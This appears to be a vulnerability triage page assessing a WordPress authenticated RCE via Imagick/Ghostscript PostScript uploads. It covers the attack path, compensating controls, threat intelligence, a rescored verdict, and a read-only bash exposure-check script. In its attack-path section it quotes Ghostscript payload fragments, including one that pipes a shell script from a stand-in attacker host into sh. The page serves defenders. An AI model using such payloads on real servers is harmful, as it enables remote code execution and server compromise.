← Back to Feed CACHED · 2026-10-07 15:17:22 · CACHE_KEY CVE-2026-65640
CVE-2026-65640 · CWE-434 · Disclosed 2026-08-17

WordPress Core Authenticated (Author+) RCE via Imagick/Ghostscript PostScript File Upload

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

A PNG that runs code because your image library trusts Ghostscript more than your upload form trusts your authors

CVE-2026-65640 is an authenticated remote code execution vulnerability in WordPress core's image processing pipeline. When a server runs both the Imagick PHP extension and Ghostscript, an attacker with Author-level privileges (the upload_files capability) can upload a crafted PostScript file disguised with an image extension like .png. WordPress trusts the extension; ImageMagick inspects the actual bytes, detects PostScript content, and delegates processing to Ghostscript — which interprets embedded OS commands as the PHP worker process. This affects WordPress 4.7.0 through 7.0.3 across every release branch. WordPress 7.0.4 (released 2026-08-12) and backports down to 4.7.35 fix the issue by inspecting the first 1,445 bytes for PostScript signatures *before* handing anything to Imagick.

The vendor's HIGH 8.8 is defensible in the CVSS framework — PR:L/AC:L/UI:N with full CIA impact is a textbook 8.8. But CVSS has no knob for 'only fires when two specific server-side libraries are co-installed.' Many WordPress hosts use the GD library instead of Imagick (GD ships with PHP by default since 4.3). Of those that do run Imagick, a meaningful fraction lack Ghostscript entirely — managed WordPress hosts and container-based deployments routinely strip it. The environmental dependency is the single biggest gap between the CVSS label and field reality: the vulnerability is genuine and the impact is severe, but the *reachable* population is substantially smaller than 'all WordPress installs.' We downgrade the score from 8.8 to 7.2 while keeping the verdict at HIGH.

"Author-level RCE gated behind Imagick+Ghostscript — real but narrower than 8.8 suggests"
02 · The Attack Path

5 steps from start to impact.

STEP 01

Obtain Author-level credentials

The attacker must hold a valid WordPress account with the upload_files capability — Author role or higher. This can come from a compromised author account (phishing, credential stuffing, session theft), a malicious insider on a multi-author publication, or a purchased account on a site that sells contributor access. Contributors and Subscribers cannot exploit this flaw.
Conditions required:
  • Valid Author, Editor, or Administrator WordPress credentials on the target site
Where this breaks in practice:
  • Single-author blogs have no external Author accounts to compromise
  • Many enterprises restrict Author role to a small trusted set
  • MFA on WordPress admin (if deployed) raises the bar for credential theft
Detection/coverage: Failed login attempts visible in WordPress audit logs; Wordfence/Sucuri login monitoring
STEP 02

Craft malicious PostScript payload

The attacker creates a file with an image extension (e.g., exploit.png) whose content is valid PostScript embedding OS commands. Ghostscript's PostScript interpreter will execute directives like (%pipe%id) (r) file or (curl attacker.com/shell.sh | sh) == flush when it processes the file. The technique is well-documented from prior Ghostscript CVEs (CVE-2018-16509, CVE-2023-36664) and requires moderate skill to adapt.
Conditions required:
  • Knowledge of Ghostscript PostScript exploitation techniques
  • Ghostscript version on target accepts the chosen payload variant
Where this breaks in practice:
  • No public weaponized PoC for this specific CVE yet — attacker must adapt from prior Ghostscript research
  • Payload must survive WordPress's pre-Imagick byte-sniffing on patched versions
STEP 03

Upload via media library or XML-RPC

The crafted file is uploaded through WordPress's standard media uploader (/wp-admin/upload.php), via the XML-RPC wp.uploadFile method, or through MP3 cover-art extraction which also routes through the image pipeline. WordPress's wp_check_filetype_and_ext() validates the file extension and MIME type — both of which the attacker controls by naming the file .png and embedding a valid PNG header. The file passes validation and is stored in wp-content/uploads/.
Conditions required:
  • Network access to WordPress admin or XML-RPC endpoint
  • Author-level session cookie or XML-RPC credentials
Where this breaks in practice:
  • XML-RPC is disabled by default in many hardened deployments and security plugins
  • Some WAFs rate-limit or block XML-RPC entirely
  • Upload size limits rarely matter (PostScript payloads are small)
Detection/coverage: Qualys QID 154188 (added 2026-08-17); Nessus plugin 338623 (added 2026-08-21); Wordfence file upload monitoring
STEP 04

Imagick processes the uploaded file

When WordPress generates thumbnails or processes the uploaded image, it invokes the Imagick image editor. Imagick inspects the file's actual content (not its extension) and correctly identifies PostScript/EPS data. It then delegates processing to Ghostscript as the configured delegate for PostScript-family formats. This delegation is automatic and invisible to WordPress — it happens inside the ImageMagick library.
Conditions required:
  • PHP Imagick extension is loaded and is the active WordPress image editor (default when available)
  • Ghostscript is installed and registered as an ImageMagick delegate
Where this breaks in practice:
  • Hosts using GD library instead of Imagick are completely immune
  • Container-based WordPress deployments often lack Ghostscript
  • Some managed WordPress hosts (WP Engine, Kinsta, Flywheel) run stripped image stacks
STEP 05

Ghostscript executes embedded commands

Ghostscript's PostScript interpreter processes the embedded directives, executing arbitrary OS commands as the PHP-FPM or Apache worker process. The attacker achieves code execution with the privileges of the web server user (typically www-data or nginx). From here, they can read wp-config.php (database credentials, auth salts, secret keys), install a web shell, pivot to the database, or move laterally if the server has network access to other hosts.
Conditions required:
  • Ghostscript processes the PostScript without sandbox restrictions blocking the payload
Where this breaks in practice:
  • Modern Ghostscript versions (10.x+) have improved -dSAFER sandboxing that may block some payload variants
  • Containerized deployments with read-only filesystems limit persistence
  • Properly segmented networks limit lateral movement from a compromised web server
Detection/coverage: Web shell detection by EDR/HIDS; anomalous outbound connections from web server process; file integrity monitoring on wp-config.php and uploads directory
03 · Compensating Control

1
HIGH 7.2→LOW 2.0
SEVERITY REDUCED
Force GD as WordPress image editor — Add add_filter('wp_image_editors', function() { return ['WP_Image_Editor_GD']; }); to a must-use plugin (wp-content/mu-plugins/force-gd.php). This tells WordPress to skip Imagick entirely, completely severing the Imagick→Ghostscript delegation chain. GD cannot process PostScript. Deploy within 30 days per noisgate mitigation SLA for HIGH. This is the fastest compensating control if patching is delayed.
2
HIGH 7.2→LOW 2.0
SEVERITY REDUCED
Remove or disable Ghostscript — Run apt remove ghostscript (Debian/Ubuntu), yum remove ghostscript (RHEL/CentOS), or equivalent. Without Ghostscript, Imagick has no delegate for PostScript formats — the chain breaks at step 4. Verify with gs --version returning command-not-found. Deploy within 30 days per noisgate mitigation SLA. Note: this may break PDF thumbnail generation if other applications depend on Ghostscript.
3
HIGH 7.2→IGNORE 0.0
SEVERITY REDUCED
Restrict upload_files capability from Author role — Use a role management plugin (Members, User Role Editor) or code (remove_cap('author', 'upload_files')) to strip the upload capability from Author accounts. This blocks the entry point entirely — no uploads, no exploitation. Review which accounts genuinely need upload access. Deploy within 30 days. Caution: this changes Author workflow and may require an Editor to handle media uploads.
4
HIGH 7.2→IGNORE 0.0
SEVERITY REDUCED
Update WordPress to patched version — Apply WordPress 7.0.4 or the backported security fix for your branch (6.9.7, 6.8.8, etc., down to 4.7.35). This is the definitive fix — WordPress 7.0.4 inspects the first 1,445 bytes of uploaded files for PostScript signatures and rejects them before Imagick is invoked. Target the 180-day noisgate remediation SLA for HIGH, or accelerate if the BLACKCOFFEE signal is confirmed. Enable auto-updates for minor security releases via add_filter('auto_update_core', '__return_true');.
What doesn't work
  • WAF / ModSecurity rules — The malicious file uses a legitimate .png extension and is uploaded through standard WordPress endpoints (/wp-admin/async-upload.php or XML-RPC). The PostScript payload is inside the file body, not in HTTP parameters. Most WAFs do not deep-inspect uploaded file contents for PostScript signatures.
  • File extension filtering / upload MIME restrictions — The exploit deliberately uses image file extensions (.png, .jpg). WordPress's own wp_check_filetype_and_ext() passes the file because the extension and MIME type match. The vulnerability exists precisely because extension-based validation is insufficient.
  • Disabling XML-RPC alone — While XML-RPC's wp.uploadFile is one attack vector, the standard WordPress media uploader and MP3 cover-art extraction are also valid vectors. Disabling XML-RPC reduces surface area but does not close the vulnerability.
04 · Intelligence Metadata

The supporting signals.

In-the-Wild ExploitationNo confirmed exploitation. Not on CISA KEV. Feedly threat intel references BLACKCOFFEE malware (associated with APT17/DeputyDog) as having reportedly weaponized this CVE, but no primary source confirms active campaigns. Treat as unverified signal.
Proof-of-ConceptOne GitHub repo: jobusa755-a11y/CVE-2026-65640- — 0 stars, published 2026-08-13. No working exploit confirmed in contents. No Nuclei templates, ExploitDB entries, or Metasploit modules indexed on pocindex.io. Prior Ghostscript PostScript RCE techniques (CVE-2018-16509, CVE-2023-36664) are well-documented and adaptable.
EPSS1.94% probability of exploitation in next 30 days. This places it roughly in the top 5% of all scored CVEs — elevated but not extreme.
CISA KEVNot listed as of 2026-10-07.
CVSS VectorCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — Network-reachable, low complexity, low privilege (Author), no user interaction, full CIA impact. The vector fairly captures the post-auth, post-environment-match scenario but cannot encode the Imagick+Ghostscript environmental prerequisite.
Affected VersionsWordPress 4.7.0 through 7.0.3 across all release branches.
Fixed VersionsWordPress 7.0.4, 6.9.7, 6.8.8, 6.7.7, and corresponding backports down to 4.7.35. Debian issued DSA-6525-1 on 2026-09-28.
Scanner CoverageQualys QID 154188 (2026-08-17), Nessus plugin 338623 (2026-08-21). No GreyNoise or Shodan scanning activity specific to this CVE identified as of assessment date.
Disclosure TimelineWordPress 7.0.4 released 2026-08-12. CVE published by NVD 2026-08-17. Debian DSA-6525-1 issued 2026-09-28.
ResearcherDiscovered and responsibly disclosed by the pwn.ai team. GitHub Security Advisory GHSA-8vr3-7mxf-gx8w.

Sources.

  1. GitHub Security Advisory GHSA-8vr3-7mxf-gx8w
  2. SecurityOnline — WordPress 7.0.4 RCE Fix
  3. Penligent — CVE-2026-65640 Technical Analysis
  4. Falcon Internet — When an Image Upload Becomes a Shell
  5. Wordify — WordPress 7.0.4: Two Things Must Be True
  6. TheCyberSecGuru — WordPress Imagick RCE via Malicious PNG
  7. pocindex.io — CVE-2026-65640
  8. Feedly CVE Intelligence — CVE-2026-65640
05 · The Call

Final Verdict
= UNCHANGED to HIGH (7.2/10)

Why this verdict

  • Environmental prerequisite not captured by CVSS: The exploit fires only when both Imagick AND Ghostscript are installed and active. WordPress defaults to Imagick when available, but many hosts use GD (bundled with PHP since 4.3). Of those running Imagick, managed and containerized WordPress stacks frequently strip Ghostscript. Conservative estimate: 30–50% of WordPress installs meet both conditions. This is a material population narrowing that CVSS 3.0 cannot express, warranting a ~1.0 point reduction.
  • Authentication requirement is real friction: PR:L (Author role) means the attacker must already hold a valid account with upload capability. Single-author blogs are immune to external attack via this path. Multi-author publications, news sites, membership platforms, and sites with lax account hygiene expand the surface — but this is not an unauthenticated bug. Reduction: ~0.3 points.
  • No confirmed exploitation, low PoC maturity: Zero confirmed ITW exploitation, not on KEV, one zero-star GitHub repo with unverified contents, no Metasploit/Nuclei coverage. EPSS at 1.94% is elevated but reflects theoretical risk more than operational reality. The BLACKCOFFEE/APT17 signal is unconfirmed. Reduction: ~0.3 points.
  • Role multiplier: WordPress is a web CMS, not a canonically high-value-role component (not an IdP, hypervisor, CA, PAM, backup system, network edge appliance, or kernel-mode agent). However, WordPress powers ~40% of the web and occupies roles ranging from personal blogs (low-value) to enterprise portals, e-commerce platforms with payment data (WooCommerce), government websites, and news organizations (high-value). In the high-value role, a successful chain yields: RCE as web server user → wp-config.php (DB creds, auth keys) → full database access (PII, payment tokens, user credentials) → web shell persistence → potential lateral movement to co-hosted services. Blast radius is server-to-tenant scale, not domain/fleet/supply-chain. This is serious but bounded. The floor is HIGH because WordPress e-commerce and enterprise sites represent well over 1% of the installed base and the chain delivers full server compromise in those roles.
  • Net assessment: Vendor 8.8 → noisgate 7.2 (HIGH). The 1.6-point reduction reflects the environmental narrowing and current threat landscape. The verdict stays HIGH because when the prerequisites are met, exploitation is trivial and the impact is full RCE on a platform that frequently holds sensitive data.

Why not higher?

CRITICAL would require either a canonically high-value-role component (WordPress is a web CMS, not infrastructure) or an unauthenticated/zero-click attack path. This vulnerability requires valid Author-level credentials AND a specific server-side library combination. The blast radius is server/tenant-level, not domain/fleet/supply-chain. Even the BLACKCOFFEE signal, if confirmed, would not push past HIGH absent evidence of widespread exploitation.

Why not lower?

WordPress powers roughly 40% of the web — the installed base is enormous. Even with environmental narrowing, the absolute number of vulnerable hosts is large. The impact upon successful exploitation is full RCE: database access, credential theft, web shell deployment, and potential lateral movement. Multi-author sites, WooCommerce stores, and enterprise portals represent a meaningful fraction of WordPress deployments where Author accounts exist and the Imagick+Ghostscript stack is common. Prior Ghostscript exploitation techniques are well-documented, lowering the barrier for skilled attackers to develop working exploits.

06 · Verification

Crowdsourced verification payload.

Run this script on each WordPress host as a user with read access to the WordPress installation directory. Invoke with: sudo bash check_cve_2026_65640.sh /var/www/html (pass the WordPress root path as the first argument). Requires read access to wp-includes/version.php and the ability to run php -m and gs --version.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check_cve_2026_65640.sh — Detect CVE-2026-65640 exposure
# Usage: bash check_cve_2026_65640.sh /path/to/wordpress
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN

set -euo pipefail

WP_ROOT="${1:-/var/www/html}"
VERSION_FILE="$WP_ROOT/wp-includes/version.php"
VULNERABLE=0
IMAGICK=0
GHOSTSCRIPT=0

# --- Check WordPress version ---
if [[ ! -f "$VERSION_FILE" ]]; then
  echo "UNKNOWN — Cannot find $VERSION_FILE. Is this a WordPress installation?"
  exit 2
fi

WP_VERSION=$(grep -oP "\\\$wp_version\s*=\s*'\K[^']+" "$VERSION_FILE" 2>/dev/null || true)
if [[ -z "$WP_VERSION" ]]; then
  echo "UNKNOWN — Could not parse WordPress version from $VERSION_FILE"
  exit 2
fi
echo "[*] WordPress version: $WP_VERSION"

# Known patched versions (major.minor.patch)
declare -A PATCHED_VERSIONS=(
  ["7.0"]=4  ["6.9"]=7  ["6.8"]=8  ["6.7"]=7
  ["6.6"]=9  ["6.5"]=12 ["6.4"]=10 ["6.3"]=10
  ["6.2"]=10 ["6.1"]=12 ["6.0"]=14 ["5.9"]=14
  ["5.8"]=14 ["5.7"]=14 ["5.6"]=16 ["5.5"]=18
  ["5.4"]=18 ["5.3"]=20 ["5.2"]=23 ["5.1"]=21
  ["5.0"]=22 ["4.9"]=27 ["4.8"]=26 ["4.7"]=35
)

MAJOR_MINOR=$(echo "$WP_VERSION" | grep -oP '^\d+\.\d+')
PATCH=$(echo "$WP_VERSION" | grep -oP '\d+$')

if [[ -n "${PATCHED_VERSIONS[$MAJOR_MINOR]+x}" ]]; then
  NEEDED="${PATCHED_VERSIONS[$MAJOR_MINOR]}"
  if (( PATCH < NEEDED )); then
    echo "[!] WordPress $WP_VERSION is BELOW patched version $MAJOR_MINOR.$NEEDED"
    VULNERABLE=1
  else
    echo "[+] WordPress $WP_VERSION is at or above patched version $MAJOR_MINOR.$NEEDED"
  fi
else
  # Version newer than 7.0 or older than 4.7
  if [[ $(echo -e "7.0.4\n$WP_VERSION" | sort -V | head -1) == "7.0.4" ]]; then
    echo "[+] WordPress $WP_VERSION is newer than 7.0.4"
  else
    echo "[!] WordPress $WP_VERSION may be outside supported patch range"
    VULNERABLE=1
  fi
fi

# --- Check Imagick ---
if php -m 2>/dev/null | grep -qi imagick; then
  echo "[!] PHP Imagick extension is LOADED"
  IMAGICK=1
else
  echo "[+] PHP Imagick extension is NOT loaded (GD likely in use)"
fi

# --- Check Ghostscript ---
if command -v gs &>/dev/null; then
  GS_VER=$(gs --version 2>/dev/null || echo "unknown")
  echo "[!] Ghostscript is INSTALLED (version: $GS_VER)"
  GHOSTSCRIPT=1
else
  echo "[+] Ghostscript is NOT installed"
fi

# --- Verdict ---
echo ""
if (( VULNERABLE == 1 && IMAGICK == 1 && GHOSTSCRIPT == 1 )); then
  echo "VULNERABLE — WordPress $WP_VERSION with Imagick + Ghostscript. All CVE-2026-65640 prerequisites met."
  exit 1
elif (( VULNERABLE == 1 )); then
  if (( IMAGICK == 0 || GHOSTSCRIPT == 0 )); then
    echo "PATCHED (effectively) — WordPress $WP_VERSION is unpatched but missing Imagick and/or Ghostscript. Not currently exploitable."
    exit 0
  fi
else
  echo "PATCHED — WordPress $WP_VERSION is at or above the fixed version."
  exit 0
fi